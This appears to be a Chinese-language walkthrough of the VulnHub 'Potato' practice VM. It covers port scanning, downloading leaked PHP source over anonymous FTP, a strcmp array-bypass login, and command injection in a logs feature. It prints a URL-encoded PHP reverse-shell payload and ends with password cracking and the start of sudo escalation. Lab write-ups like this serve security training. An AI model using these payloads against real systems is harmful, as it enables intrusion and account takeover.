靶机描述
blog http://blog.yutian233.xyz/
VM name : Potato
Type: Boot to Root
DHCP : Enabled
Difficulty : Easy to medium
Goal: 2 flags (user.txt and root.txt)
This VM has been tested with VirtualBox
下载 https://www.vulnhub.com/entry/potato-1,529/
清单
-
信息搜集
- netdiscover
- nmap
- dirb
- 源码泄露
-
提权
- 数组绕过
- 命令执行
- john获取密码
- sudo
- 得到root
信息搜集
靶机IP
端口扫描
nmap -A 192.168.0.105
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Potato company
2112/tcp open ftp ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 901 Aug 2 19:33 index.php.bak
|_-rw-r--r-- 1 ftp ftp 54 Aug 2 18:17 welcome.msg
开放 22、80、2122端口
2122 端口开放ftp 可以下载文件
目录扫描
/admin/index.php 内容为
登陆到ftp,下载文件
得到源码
index.php.bak
得到index.php 的源码
<html>
<head></head>
<body>
<?php
$pass= "potato"; //note Change this password regularly
if($_GET['login']==="1"){
if (strcmp($_POST['username'], "admin") == 0 && strcmp($_POST['password'], $pass) == 0) {
echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
setcookie('pass', $pass, time() + 365*24*3600);
}else{
echo "<p>Bad login/password! </br> Return to the <a href=\"index.php\">login page</a> <p>";
}
exit();
}
?>
POST
password[]=&username=admin
登陆成功
命令执行
logs 的功能存在命令注入,现在来反弹一个shell
Kali 开启监听
POST传入
file=|php%20-r%20'%24sock%3Dfsockopen(%22192.168.34.155%22%2C2233)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'
得到shell
在 /etc/passwd 获取到用户 webadmin 的密码
解密结果为
dragon
切换至 webadmin 用户
可以看到以root权限执行